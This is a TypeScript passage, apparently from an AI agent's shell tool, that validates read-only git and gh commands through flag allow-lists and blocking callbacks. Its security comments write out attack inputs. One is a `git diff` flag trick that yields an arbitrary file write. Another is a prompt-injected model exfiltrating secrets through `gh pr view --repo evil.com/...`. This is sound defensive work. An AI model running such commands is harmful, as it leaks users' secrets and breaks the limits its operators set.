/ utils / shell / readOnlyCommandValidation.ts
readOnlyCommandValidation.ts
   1  /**
   2   * Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.).
   3   *
   4   * Exports complete command configuration maps that any shell tool can import:
   5   * - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks
   6   * - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent)
   7   * - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell
   8   * - containsVulnerableUncPath: UNC path detection for credential leak prevention
   9   * - outputLimits are in outputLimits.ts
  10   */
  11  
  12  import { getPlatform } from '../platform.js'
  13  
  14  // ---------------------------------------------------------------------------
  15  // Types
  16  // ---------------------------------------------------------------------------
  17  
  18  export type FlagArgType =
  19    | 'none' // No argument (--color, -n)
  20    | 'number' // Integer argument (--context=3)
  21    | 'string' // Any string argument (--relative=path)
  22    | 'char' // Single character (delimiter)
  23    | '{}' // Literal "{}" only
  24    | 'EOF' // Literal "EOF" only
  25  
  26  export type ExternalCommandConfig = {
  27    safeFlags: Record<string, FlagArgType>
  28    // Returns true if the command is dangerous, false if safe.
  29    // args is the list of tokens AFTER the command name (e.g., after "git branch").
  30    additionalCommandIsDangerousCallback?: (
  31      rawCommand: string,
  32      args: string[],
  33    ) => boolean
  34    // When false, the tool does NOT respect POSIX `--` end-of-options.
  35    // validateFlags will continue checking flags after `--` instead of breaking.
  36    // Default: true (most tools respect `--`).
  37    respectsDoubleDash?: boolean
  38  }
  39  
  40  // ---------------------------------------------------------------------------
  41  // Shared git flag groups
  42  // ---------------------------------------------------------------------------
  43  
  44  const GIT_REF_SELECTION_FLAGS: Record<string, FlagArgType> = {
  45    '--all': 'none',
  46    '--branches': 'none',
  47    '--tags': 'none',
  48    '--remotes': 'none',
  49  }
  50  
  51  const GIT_DATE_FILTER_FLAGS: Record<string, FlagArgType> = {
  52    '--since': 'string',
  53    '--after': 'string',
  54    '--until': 'string',
  55    '--before': 'string',
  56  }
  57  
  58  const GIT_LOG_DISPLAY_FLAGS: Record<string, FlagArgType> = {
  59    '--oneline': 'none',
  60    '--graph': 'none',
  61    '--decorate': 'none',
  62    '--no-decorate': 'none',
  63    '--date': 'string',
  64    '--relative-date': 'none',
  65  }
  66  
  67  const GIT_COUNT_FLAGS: Record<string, FlagArgType> = {
  68    '--max-count': 'number',
  69    '-n': 'number',
  70  }
  71  
  72  // Stat output flags - used in git log, show, diff
  73  const GIT_STAT_FLAGS: Record<string, FlagArgType> = {
  74    '--stat': 'none',
  75    '--numstat': 'none',
  76    '--shortstat': 'none',
  77    '--name-only': 'none',
  78    '--name-status': 'none',
  79  }
  80  
  81  // Color output flags - used in git log, show, diff
  82  const GIT_COLOR_FLAGS: Record<string, FlagArgType> = {
  83    '--color': 'none',
  84    '--no-color': 'none',
  85  }
  86  
  87  // Patch display flags - used in git log, show
  88  const GIT_PATCH_FLAGS: Record<string, FlagArgType> = {
  89    '--patch': 'none',
  90    '-p': 'none',
  91    '--no-patch': 'none',
  92    '--no-ext-diff': 'none',
  93    '-s': 'none',
  94  }
  95  
  96  // Author/committer filter flags - used in git log, reflog
  97  const GIT_AUTHOR_FILTER_FLAGS: Record<string, FlagArgType> = {
  98    '--author': 'string',
  99    '--committer': 'string',
 100    '--grep': 'string',
 101  }
 102  
 103  // ---------------------------------------------------------------------------
 104  // GIT_READ_ONLY_COMMANDS — complete map of all git subcommands
 105  // ---------------------------------------------------------------------------
 106  
 107  export const GIT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
 108    'git diff': {
 109      safeFlags: {
 110        ...GIT_STAT_FLAGS,
 111        ...GIT_COLOR_FLAGS,
 112        // Display and comparison flags
 113        '--dirstat': 'none',
 114        '--summary': 'none',
 115        '--patch-with-stat': 'none',
 116        '--word-diff': 'none',
 117        '--word-diff-regex': 'string',
 118        '--color-words': 'none',
 119        '--no-renames': 'none',
 120        '--no-ext-diff': 'none',
 121        '--check': 'none',
 122        '--ws-error-highlight': 'string',
 123        '--full-index': 'none',
 124        '--binary': 'none',
 125        '--abbrev': 'number',
 126        '--break-rewrites': 'none',
 127        '--find-renames': 'none',
 128        '--find-copies': 'none',
 129        '--find-copies-harder': 'none',
 130        '--irreversible-delete': 'none',
 131        '--diff-algorithm': 'string',
 132        '--histogram': 'none',
 133        '--patience': 'none',
 134        '--minimal': 'none',
 135        '--ignore-space-at-eol': 'none',
 136        '--ignore-space-change': 'none',
 137        '--ignore-all-space': 'none',
 138        '--ignore-blank-lines': 'none',
 139        '--inter-hunk-context': 'number',
 140        '--function-context': 'none',
 141        '--exit-code': 'none',
 142        '--quiet': 'none',
 143        '--cached': 'none',
 144        '--staged': 'none',
 145        '--pickaxe-regex': 'none',
 146        '--pickaxe-all': 'none',
 147        '--no-index': 'none',
 148        '--relative': 'string',
 149        // Diff filtering
 150        '--diff-filter': 'string',
 151        // Short flags
 152        '-p': 'none',
 153        '-u': 'none',
 154        '-s': 'none',
 155        '-M': 'none',
 156        '-C': 'none',
 157        '-B': 'none',
 158        '-D': 'none',
 159        '-l': 'none',
 160        // SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search,
 161        // pickaxe regex, orderfile). Previously 'none' caused a parser
 162        // differential with git: `git diff -S -- --output=/tmp/pwned` —
 163        // validator sees -S as no-arg → advances 1 token → breaks on `--` →
 164        // --output unchecked. git sees -S requires arg → consumes `--` as the
 165        // pickaxe string (standard getopt: required-arg options consume next
 166        // argv unconditionally, BEFORE the top-level `--` check) → cursor at
 167        // --output=... → parses as long option → ARBITRARY FILE WRITE.
 168        // git log config at line ~207 correctly has -S/-G as 'string'.
 169        '-S': 'string',
 170        '-G': 'string',
 171        '-O': 'string',
 172        '-R': 'none',
 173      },
 174    },
 175    'git log': {
 176      safeFlags: {
 177        ...GIT_LOG_DISPLAY_FLAGS,
 178        ...GIT_REF_SELECTION_FLAGS,
 179        ...GIT_DATE_FILTER_FLAGS,
 180        ...GIT_COUNT_FLAGS,
 181        ...GIT_STAT_FLAGS,
 182        ...GIT_COLOR_FLAGS,
 183        ...GIT_PATCH_FLAGS,
 184        ...GIT_AUTHOR_FILTER_FLAGS,
 185        // Additional display flags
 186        '--abbrev-commit': 'none',
 187        '--full-history': 'none',
 188        '--dense': 'none',
 189        '--sparse': 'none',
 190        '--simplify-merges': 'none',
 191        '--ancestry-path': 'none',
 192        '--source': 'none',
 193        '--first-parent': 'none',
 194        '--merges': 'none',
 195        '--no-merges': 'none',
 196        '--reverse': 'none',
 197        '--walk-reflogs': 'none',
 198        '--skip': 'number',
 199        '--max-age': 'number',
 200        '--min-age': 'number',
 201        '--no-min-parents': 'none',
 202        '--no-max-parents': 'none',
 203        '--follow': 'none',
 204        // Commit traversal flags
 205        '--no-walk': 'none',
 206        '--left-right': 'none',
 207        '--cherry-mark': 'none',
 208        '--cherry-pick': 'none',
 209        '--boundary': 'none',
 210        // Ordering flags
 211        '--topo-order': 'none',
 212        '--date-order': 'none',
 213        '--author-date-order': 'none',
 214        // Format control
 215        '--pretty': 'string',
 216        '--format': 'string',
 217        // Diff filtering
 218        '--diff-filter': 'string',
 219        // Pickaxe search (find commits that add/remove string)
 220        '-S': 'string',
 221        '-G': 'string',
 222        '--pickaxe-regex': 'none',
 223        '--pickaxe-all': 'none',
 224      },
 225    },
 226    'git show': {
 227      safeFlags: {
 228        ...GIT_LOG_DISPLAY_FLAGS,
 229        ...GIT_STAT_FLAGS,
 230        ...GIT_COLOR_FLAGS,
 231        ...GIT_PATCH_FLAGS,
 232        // Additional display flags
 233        '--abbrev-commit': 'none',
 234        '--word-diff': 'none',
 235        '--word-diff-regex': 'string',
 236        '--color-words': 'none',
 237        '--pretty': 'string',
 238        '--format': 'string',
 239        '--first-parent': 'none',
 240        '--raw': 'none',
 241        // Diff filtering
 242        '--diff-filter': 'string',
 243        // Short flags
 244        '-m': 'none',
 245        '--quiet': 'none',
 246      },
 247    },
 248    'git shortlog': {
 249      safeFlags: {
 250        ...GIT_REF_SELECTION_FLAGS,
 251        ...GIT_DATE_FILTER_FLAGS,
 252        // Summary options
 253        '-s': 'none',
 254        '--summary': 'none',
 255        '-n': 'none',
 256        '--numbered': 'none',
 257        '-e': 'none',
 258        '--email': 'none',
 259        '-c': 'none',
 260        '--committer': 'none',
 261        // Grouping
 262        '--group': 'string',
 263        // Formatting
 264        '--format': 'string',
 265        // Filtering
 266        '--no-merges': 'none',
 267        '--author': 'string',
 268      },
 269    },
 270    'git reflog': {
 271      safeFlags: {
 272        ...GIT_LOG_DISPLAY_FLAGS,
 273        ...GIT_REF_SELECTION_FLAGS,
 274        ...GIT_DATE_FILTER_FLAGS,
 275        ...GIT_COUNT_FLAGS,
 276        ...GIT_AUTHOR_FILTER_FLAGS,
 277      },
 278      // SECURITY: Block `git reflog expire` (positional subcommand) — it writes
 279      // to .git/logs/** by expiring reflog entries. `git reflog delete` similarly
 280      // writes. Only `git reflog` (bare = show) and `git reflog show` are safe.
 281      // The positional-arg fallthrough at ~:1730 would otherwise accept `expire`
 282      // as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS → passes.
 283      additionalCommandIsDangerousCallback: (
 284        _rawCommand: string,
 285        args: string[],
 286      ) => {
 287        // Block known write-capable subcommands: expire, delete, exists.
 288        // Allow: `show`, ref names (HEAD, refs/*, branch names).
 289        // The subcommand (if any) is the first positional arg. Subsequent
 290        // positionals after `show` or after flags are ref names (safe).
 291        const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists'])
 292        for (const token of args) {
 293          if (!token || token.startsWith('-')) continue
 294          // First non-flag positional: check if it's a dangerous subcommand.
 295          // If it's `show` or a ref name like `HEAD`/`refs/...`, safe.
 296          if (DANGEROUS_SUBCOMMANDS.has(token)) {
 297            return true // Dangerous subcommand — writes to .git/logs/**
 298          }
 299          // First positional is safe (show/HEAD/ref) — subsequent are ref args
 300          return false
 301        }
 302        return false // No positional = bare `git reflog` = safe (shows reflog)
 303      },
 304    },
 305    'git stash list': {
 306      safeFlags: {
 307        ...GIT_LOG_DISPLAY_FLAGS,
 308        ...GIT_REF_SELECTION_FLAGS,
 309        ...GIT_COUNT_FLAGS,
 310      },
 311    },
 312    'git ls-remote': {
 313      safeFlags: {
 314        // Branch/tag filtering flags
 315        '--branches': 'none',
 316        '-b': 'none',
 317        '--tags': 'none',
 318        '-t': 'none',
 319        '--heads': 'none',
 320        '-h': 'none',
 321        '--refs': 'none',
 322        // Output control flags
 323        '--quiet': 'none',
 324        '-q': 'none',
 325        '--exit-code': 'none',
 326        '--get-url': 'none',
 327        '--symref': 'none',
 328        // Sorting flags
 329        '--sort': 'string',
 330        // Protocol flags
 331        // SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They
 332        // transmit an arbitrary attacker-controlled string to the remote git
 333        // server in the protocol v2 capability advertisement. This is a network
 334        // WRITE primitive (sending data to remote) on what is supposed to be a
 335        // read-only command. Even without command substitution (which is caught
 336        // elsewhere), `--server-option="sensitive-data"` exfiltrates the value
 337        // to whatever `origin` points to. The read-only path should never enable
 338        // network writes.
 339      },
 340    },
 341    'git status': {
 342      safeFlags: {
 343        // Output format flags
 344        '--short': 'none',
 345        '-s': 'none',
 346        '--branch': 'none',
 347        '-b': 'none',
 348        '--porcelain': 'none',
 349        '--long': 'none',
 350        '--verbose': 'none',
 351        '-v': 'none',
 352        // Untracked files handling
 353        '--untracked-files': 'string',
 354        '-u': 'string',
 355        // Ignore options
 356        '--ignored': 'none',
 357        '--ignore-submodules': 'string',
 358        // Column display
 359        '--column': 'none',
 360        '--no-column': 'none',
 361        // Ahead/behind info
 362        '--ahead-behind': 'none',
 363        '--no-ahead-behind': 'none',
 364        // Rename detection
 365        '--renames': 'none',
 366        '--no-renames': 'none',
 367        '--find-renames': 'string',
 368        '-M': 'string',
 369      },
 370    },
 371    'git blame': {
 372      safeFlags: {
 373        ...GIT_COLOR_FLAGS,
 374        // Line range
 375        '-L': 'string',
 376        // Output format
 377        '--porcelain': 'none',
 378        '-p': 'none',
 379        '--line-porcelain': 'none',
 380        '--incremental': 'none',
 381        '--root': 'none',
 382        '--show-stats': 'none',
 383        '--show-name': 'none',
 384        '--show-number': 'none',
 385        '-n': 'none',
 386        '--show-email': 'none',
 387        '-e': 'none',
 388        '-f': 'none',
 389        // Date formatting
 390        '--date': 'string',
 391        // Ignore whitespace
 392        '-w': 'none',
 393        // Ignore revisions
 394        '--ignore-rev': 'string',
 395        '--ignore-revs-file': 'string',
 396        // Move/copy detection
 397        '-M': 'none',
 398        '-C': 'none',
 399        '--score-debug': 'none',
 400        // Abbreviation
 401        '--abbrev': 'number',
 402        // Other options
 403        '-s': 'none',
 404        '-l': 'none',
 405        '-t': 'none',
 406      },
 407    },
 408    'git ls-files': {
 409      safeFlags: {
 410        // File selection
 411        '--cached': 'none',
 412        '-c': 'none',
 413        '--deleted': 'none',
 414        '-d': 'none',
 415        '--modified': 'none',
 416        '-m': 'none',
 417        '--others': 'none',
 418        '-o': 'none',
 419        '--ignored': 'none',
 420        '-i': 'none',
 421        '--stage': 'none',
 422        '-s': 'none',
 423        '--killed': 'none',
 424        '-k': 'none',
 425        '--unmerged': 'none',
 426        '-u': 'none',
 427        // Output format
 428        '--directory': 'none',
 429        '--no-empty-directory': 'none',
 430        '--eol': 'none',
 431        '--full-name': 'none',
 432        '--abbrev': 'number',
 433        '--debug': 'none',
 434        '-z': 'none',
 435        '-t': 'none',
 436        '-v': 'none',
 437        '-f': 'none',
 438        // Exclude patterns
 439        '--exclude': 'string',
 440        '-x': 'string',
 441        '--exclude-from': 'string',
 442        '-X': 'string',
 443        '--exclude-per-directory': 'string',
 444        '--exclude-standard': 'none',
 445        // Error handling
 446        '--error-unmatch': 'none',
 447        // Recursion
 448        '--recurse-submodules': 'none',
 449      },
 450    },
 451    'git config --get': {
 452      safeFlags: {
 453        // No additional flags needed - just reading config values
 454        '--local': 'none',
 455        '--global': 'none',
 456        '--system': 'none',
 457        '--worktree': 'none',
 458        '--default': 'string',
 459        '--type': 'string',
 460        '--bool': 'none',
 461        '--int': 'none',
 462        '--bool-or-int': 'none',
 463        '--path': 'none',
 464        '--expiry-date': 'none',
 465        '-z': 'none',
 466        '--null': 'none',
 467        '--name-only': 'none',
 468        '--show-origin': 'none',
 469        '--show-scope': 'none',
 470      },
 471    },
 472    // NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first
 473    'git remote show': {
 474      safeFlags: {
 475        '-n': 'none',
 476      },
 477      // Only allow optional -n, then one alphanumeric remote name
 478      additionalCommandIsDangerousCallback: (
 479        _rawCommand: string,
 480        args: string[],
 481      ) => {
 482        // Filter out the known safe flag
 483        const positional = args.filter(a => a !== '-n')
 484        // Must have exactly one positional arg that looks like a remote name
 485        if (positional.length !== 1) return true
 486        return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!)
 487      },
 488    },
 489    'git remote': {
 490      safeFlags: {
 491        '-v': 'none',
 492        '--verbose': 'none',
 493      },
 494      // Only allow bare 'git remote' or 'git remote -v/--verbose'
 495      additionalCommandIsDangerousCallback: (
 496        _rawCommand: string,
 497        args: string[],
 498      ) => {
 499        // All args must be known safe flags; no positional args allowed
 500        return args.some(a => a !== '-v' && a !== '--verbose')
 501      },
 502    },
 503    // git merge-base is a read-only command for finding common ancestors
 504    'git merge-base': {
 505      safeFlags: {
 506        '--is-ancestor': 'none', // Check if first commit is ancestor of second
 507        '--fork-point': 'none', // Find fork point
 508        '--octopus': 'none', // Find best common ancestors for multiple refs
 509        '--independent': 'none', // Filter independent refs
 510        '--all': 'none', // Output all merge bases
 511      },
 512    },
 513    // git rev-parse is a pure read command — resolves refs to SHAs, queries repo paths
 514    'git rev-parse': {
 515      safeFlags: {
 516        // SHA resolution and verification
 517        '--verify': 'none', // Verify that exactly one argument is a valid object name
 518        '--short': 'string', // Abbreviate output (optional length via =N)
 519        '--abbrev-ref': 'none', // Symbolic name of ref
 520        '--symbolic': 'none', // Output symbolic names
 521        '--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix
 522        // Repository path queries (all read-only)
 523        '--show-toplevel': 'none', // Absolute path of top-level directory
 524        '--show-cdup': 'none', // Path components to traverse up to top-level
 525        '--show-prefix': 'none', // Relative path from top-level to cwd
 526        '--git-dir': 'none', // Path to .git directory
 527        '--git-common-dir': 'none', // Path to common directory (.git in main worktree)
 528        '--absolute-git-dir': 'none', // Absolute path to .git directory
 529        '--show-superproject-working-tree': 'none', // Superproject root (if submodule)
 530        // Boolean queries
 531        '--is-inside-work-tree': 'none',
 532        '--is-inside-git-dir': 'none',
 533        '--is-bare-repository': 'none',
 534        '--is-shallow-repository': 'none',
 535        '--is-shallow-update': 'none',
 536        '--path-prefix': 'none',
 537      },
 538    },
 539    // git rev-list is read-only commit enumeration — lists/counts commits reachable from refs
 540    'git rev-list': {
 541      safeFlags: {
 542        ...GIT_REF_SELECTION_FLAGS,
 543        ...GIT_DATE_FILTER_FLAGS,
 544        ...GIT_COUNT_FLAGS,
 545        ...GIT_AUTHOR_FILTER_FLAGS,
 546        // Counting
 547        '--count': 'none', // Output commit count instead of listing
 548        // Traversal control
 549        '--reverse': 'none',
 550        '--first-parent': 'none',
 551        '--ancestry-path': 'none',
 552        '--merges': 'none',
 553        '--no-merges': 'none',
 554        '--min-parents': 'number',
 555        '--max-parents': 'number',
 556        '--no-min-parents': 'none',
 557        '--no-max-parents': 'none',
 558        '--skip': 'number',
 559        '--max-age': 'number',
 560        '--min-age': 'number',
 561        '--walk-reflogs': 'none',
 562        // Output formatting
 563        '--oneline': 'none',
 564        '--abbrev-commit': 'none',
 565        '--pretty': 'string',
 566        '--format': 'string',
 567        '--abbrev': 'number',
 568        '--full-history': 'none',
 569        '--dense': 'none',
 570        '--sparse': 'none',
 571        '--source': 'none',
 572        '--graph': 'none',
 573      },
 574    },
 575    // git describe is read-only — describes commits relative to the most recent tag
 576    'git describe': {
 577      safeFlags: {
 578        // Tag selection
 579        '--tags': 'none', // Consider all tags, not just annotated
 580        '--match': 'string', // Only consider tags matching the glob pattern
 581        '--exclude': 'string', // Do not consider tags matching the glob pattern
 582        // Output control
 583        '--long': 'none', // Always output long format (tag-distance-ghash)
 584        '--abbrev': 'number', // Abbreviate objectname to N hex digits
 585        '--always': 'none', // Show uniquely abbreviated object as fallback
 586        '--contains': 'none', // Find tag that comes after the commit
 587        '--first-match': 'none', // Prefer tags closest to the tip (stops after first match)
 588        '--exact-match': 'none', // Only output if an exact match (tag points at commit)
 589        '--candidates': 'number', // Limit walk before selecting best candidates
 590        // Suffix/dirty markers
 591        '--dirty': 'none', // Append "-dirty" if working tree has modifications
 592        '--broken': 'none', // Append "-broken" if repository is in invalid state
 593      },
 594    },
 595    // git cat-file is read-only object inspection — displays type, size, or content of objects
 596    // NOTE: --batch (without --check) is intentionally excluded — it reads arbitrary objects
 597    // from stdin which could be exploited in piped commands to dump sensitive objects.
 598    'git cat-file': {
 599      safeFlags: {
 600        // Object query modes (all purely read-only)
 601        '-t': 'none', // Print type of object
 602        '-s': 'none', // Print size of object
 603        '-p': 'none', // Pretty-print object contents
 604        '-e': 'none', // Exit with zero if object exists, non-zero otherwise
 605        // Batch mode — read-only check variant only
 606        '--batch-check': 'none', // For each object on stdin, print type and size (no content)
 607        // Output control
 608        '--allow-undetermined-type': 'none',
 609      },
 610    },
 611    // git for-each-ref is read-only ref iteration — lists refs with optional formatting and filtering
 612    'git for-each-ref': {
 613      safeFlags: {
 614        // Output formatting
 615        '--format': 'string', // Format string using %(fieldname) placeholders
 616        // Sorting
 617        '--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname)
 618        // Limiting
 619        '--count': 'number', // Limit output to at most N refs
 620        // Filtering
 621        '--contains': 'string', // Only list refs that contain specified commit
 622        '--no-contains': 'string', // Only list refs that do NOT contain specified commit
 623        '--merged': 'string', // Only list refs reachable from specified commit
 624        '--no-merged': 'string', // Only list refs NOT reachable from specified commit
 625        '--points-at': 'string', // Only list refs pointing at specified object
 626      },
 627    },
 628    // git grep is read-only — searches tracked files for patterns
 629    'git grep': {
 630      safeFlags: {
 631        // Pattern matching modes
 632        '-e': 'string', // Pattern
 633        '-E': 'none', // Extended regexp
 634        '--extended-regexp': 'none',
 635        '-G': 'none', // Basic regexp (default)
 636        '--basic-regexp': 'none',
 637        '-F': 'none', // Fixed strings
 638        '--fixed-strings': 'none',
 639        '-P': 'none', // Perl regexp
 640        '--perl-regexp': 'none',
 641        // Match control
 642        '-i': 'none', // Ignore case
 643        '--ignore-case': 'none',
 644        '-v': 'none', // Invert match
 645        '--invert-match': 'none',
 646        '-w': 'none', // Word regexp
 647        '--word-regexp': 'none',
 648        // Output control
 649        '-n': 'none', // Line number
 650        '--line-number': 'none',
 651        '-c': 'none', // Count
 652        '--count': 'none',
 653        '-l': 'none', // Files with matches
 654        '--files-with-matches': 'none',
 655        '-L': 'none', // Files without match
 656        '--files-without-match': 'none',
 657        '-h': 'none', // No filename
 658        '-H': 'none', // With filename
 659        '--heading': 'none',
 660        '--break': 'none',
 661        '--full-name': 'none',
 662        '--color': 'none',
 663        '--no-color': 'none',
 664        '-o': 'none', // Only matching
 665        '--only-matching': 'none',
 666        // Context
 667        '-A': 'number', // After context
 668        '--after-context': 'number',
 669        '-B': 'number', // Before context
 670        '--before-context': 'number',
 671        '-C': 'number', // Context
 672        '--context': 'number',
 673        // Boolean operators for multi-pattern
 674        '--and': 'none',
 675        '--or': 'none',
 676        '--not': 'none',
 677        // Scope control
 678        '--max-depth': 'number',
 679        '--untracked': 'none',
 680        '--no-index': 'none',
 681        '--recurse-submodules': 'none',
 682        '--cached': 'none',
 683        // Threads
 684        '--threads': 'number',
 685        // Quiet
 686        '-q': 'none',
 687        '--quiet': 'none',
 688      },
 689    },
 690    // git stash show is read-only — displays diff of a stash entry
 691    'git stash show': {
 692      safeFlags: {
 693        ...GIT_STAT_FLAGS,
 694        ...GIT_COLOR_FLAGS,
 695        ...GIT_PATCH_FLAGS,
 696        // Diff options
 697        '--word-diff': 'none',
 698        '--word-diff-regex': 'string',
 699        '--diff-filter': 'string',
 700        '--abbrev': 'number',
 701      },
 702    },
 703    // git worktree list is read-only — lists linked working trees
 704    'git worktree list': {
 705      safeFlags: {
 706        '--porcelain': 'none',
 707        '-v': 'none',
 708        '--verbose': 'none',
 709        '--expire': 'string',
 710      },
 711    },
 712    'git tag': {
 713      safeFlags: {
 714        // List mode flags
 715        '-l': 'none',
 716        '--list': 'none',
 717        '-n': 'number',
 718        '--contains': 'string',
 719        '--no-contains': 'string',
 720        '--merged': 'string',
 721        '--no-merged': 'string',
 722        '--sort': 'string',
 723        '--format': 'string',
 724        '--points-at': 'string',
 725        '--column': 'none',
 726        '--no-column': 'none',
 727        '-i': 'none',
 728        '--ignore-case': 'none',
 729      },
 730      // SECURITY: Block tag creation via positional arguments. `git tag foo`
 731      // creates .git/refs/tags/foo (41-byte file write) — NOT read-only.
 732      // This is identical semantics to `git branch foo` (which has the same
 733      // callback below). Without this callback, validateFlags's default
 734      // positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg,
 735      // and git tag auto-approves. While the write is constrained (path limited
 736      // to .git/refs/tags/, content is fixed HEAD SHA), it violates the
 737      // read-only invariant and can pollute CI/CD tag-pattern matching or make
 738      // abandoned commits reachable via `git tag foo <commit>`.
 739      additionalCommandIsDangerousCallback: (
 740        _rawCommand: string,
 741        args: string[],
 742      ) => {
 743        // Safe uses: `git tag` (list), `git tag -l pattern` (list filtered),
 744        // `git tag --contains <ref>` (list containing). A bare positional arg
 745        // without -l/--list is a tag name to CREATE — dangerous.
 746        const flagsWithArgs = new Set([
 747          '--contains',
 748          '--no-contains',
 749          '--merged',
 750          '--no-merged',
 751          '--points-at',
 752          '--sort',
 753          '--format',
 754          '-n',
 755        ])
 756        let i = 0
 757        let seenListFlag = false
 758        let seenDashDash = false
 759        while (i < args.length) {
 760          const token = args[i]
 761          if (!token) {
 762            i++
 763            continue
 764          }
 765          // `--` ends flag parsing. All subsequent tokens are positional args,
 766          // even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`.
 767          if (token === '--' && !seenDashDash) {
 768            seenDashDash = true
 769            i++
 770            continue
 771          }
 772          if (!seenDashDash && token.startsWith('-')) {
 773            // Check for -l/--list (exact or in a bundle). `-li` bundles -l and
 774            // -i — both 'none' type. Array.includes('-l') exact-matches, missing
 775            // bundles like `-li`, `-il`. Check individual chars for short bundles.
 776            if (token === '--list' || token === '-l') {
 777              seenListFlag = true
 778            } else if (
 779              token[0] === '-' &&
 780              token[1] !== '-' &&
 781              token.length > 2 &&
 782              !token.includes('=') &&
 783              token.slice(1).includes('l')
 784            ) {
 785              // Short-flag bundle like -li, -il containing 'l'
 786              seenListFlag = true
 787            }
 788            if (token.includes('=')) {
 789              i++
 790            } else if (flagsWithArgs.has(token)) {
 791              i += 2
 792            } else {
 793              i++
 794            }
 795          } else {
 796            // Non-flag positional arg (or post-`--` positional). Safe only if
 797            // preceded by -l/--list (then it's a pattern, not a tag name).
 798            if (!seenListFlag) {
 799              return true // Positional arg without --list = tag creation
 800            }
 801            i++
 802          }
 803        }
 804        return false
 805      },
 806    },
 807    'git branch': {
 808      safeFlags: {
 809        // List mode flags
 810        '-l': 'none',
 811        '--list': 'none',
 812        '-a': 'none',
 813        '--all': 'none',
 814        '-r': 'none',
 815        '--remotes': 'none',
 816        '-v': 'none',
 817        '-vv': 'none',
 818        '--verbose': 'none',
 819        // Display options
 820        '--color': 'none',
 821        '--no-color': 'none',
 822        '--column': 'none',
 823        '--no-column': 'none',
 824        // SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N
 825        // (attached form, safe). The DETACHED form `--abbrev N` is the bug:
 826        // git uses PARSE_OPT_OPTARG (optional-attached only) — detached N becomes
 827        // a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags
 828        // with 'number' consumes N, but the CALLBACK below catches it: --abbrev
 829        // is NOT in callback's flagsWithArgs (removed), so callback sees N as a
 830        // positional without list flag → dangerous. Two-layer defense: validate-
 831        // Flags accepts both forms, callback blocks detached.
 832        '--abbrev': 'number',
 833        '--no-abbrev': 'none',
 834        // Filtering - these take commit/ref arguments
 835        '--contains': 'string',
 836        '--no-contains': 'string',
 837        '--merged': 'none', // Optional commit argument - handled in callback
 838        '--no-merged': 'none', // Optional commit argument - handled in callback
 839        '--points-at': 'string',
 840        // Sorting
 841        '--sort': 'string',
 842        // Note: --format is intentionally excluded as it could pose security risks
 843        // Show current
 844        '--show-current': 'none',
 845        '-i': 'none',
 846        '--ignore-case': 'none',
 847      },
 848      // Block branch creation via positional arguments (e.g., "git branch newbranch")
 849      // Flag validation is handled by safeFlags above
 850      // args is tokens after "git branch"
 851      additionalCommandIsDangerousCallback: (
 852        _rawCommand: string,
 853        args: string[],
 854      ) => {
 855        // Block branch creation: "git branch <name>" or "git branch <name> <start-point>"
 856        // Only safe uses are: "git branch" (list), "git branch -flags" (list with options),
 857        // or "git branch --contains/--merged/etc <ref>" (filtering)
 858        // Flags that require an argument
 859        const flagsWithArgs = new Set([
 860          '--contains',
 861          '--no-contains',
 862          '--points-at',
 863          '--sort',
 864          // --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG)
 865        ])
 866        // Flags with optional arguments (don't require, but can take one)
 867        const flagsWithOptionalArgs = new Set(['--merged', '--no-merged'])
 868        let i = 0
 869        let lastFlag = ''
 870        let seenListFlag = false
 871        let seenDashDash = false
 872        while (i < args.length) {
 873          const token = args[i]
 874          if (!token) {
 875            i++
 876            continue
 877          }
 878          // `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`.
 879          if (token === '--' && !seenDashDash) {
 880            seenDashDash = true
 881            lastFlag = ''
 882            i++
 883            continue
 884          }
 885          if (!seenDashDash && token.startsWith('-')) {
 886            // Check for -l/--list including short-flag bundles (-li, -la, etc.)
 887            if (token === '--list' || token === '-l') {
 888              seenListFlag = true
 889            } else if (
 890              token[0] === '-' &&
 891              token[1] !== '-' &&
 892              token.length > 2 &&
 893              !token.includes('=') &&
 894              token.slice(1).includes('l')
 895            ) {
 896              seenListFlag = true
 897            }
 898            if (token.includes('=')) {
 899              lastFlag = token.split('=')[0] || ''
 900              i++
 901            } else if (flagsWithArgs.has(token)) {
 902              lastFlag = token
 903              i += 2
 904            } else {
 905              lastFlag = token
 906              i++
 907            }
 908          } else {
 909            // Non-flag argument (or post-`--` positional) - could be:
 910            // 1. A branch name (dangerous - creates a branch)
 911            // 2. A pattern after --list/-l (safe)
 912            // 3. An optional argument after --merged/--no-merged (safe)
 913            const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag)
 914            if (!seenListFlag && !lastFlagHasOptionalArg) {
 915              return true // Positional arg without --list or filtering flag = branch creation
 916            }
 917            i++
 918          }
 919        }
 920        return false
 921      },
 922    },
 923  }
 924  
 925  // ---------------------------------------------------------------------------
 926  // GH_READ_ONLY_COMMANDS — ant-only gh CLI commands (network-dependent)
 927  // ---------------------------------------------------------------------------
 928  
 929  // SECURITY: Shared callback for all gh commands to prevent network exfil.
 930  // gh's repo argument accepts `[HOST/]OWNER/REPO` — when HOST is present
 931  // (3 segments), gh connects to that host's API. A prompt-injected model can
 932  // encode secrets as the OWNER segment and exfiltrate via DNS/HTTP:
 933  //   gh pr view 1 --repo evil.com/BASE32SECRET/x
 934  //   → GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1
 935  // gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1`
 936  //
 937  // git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this
 938  // callback provides the equivalent for gh. Rejects:
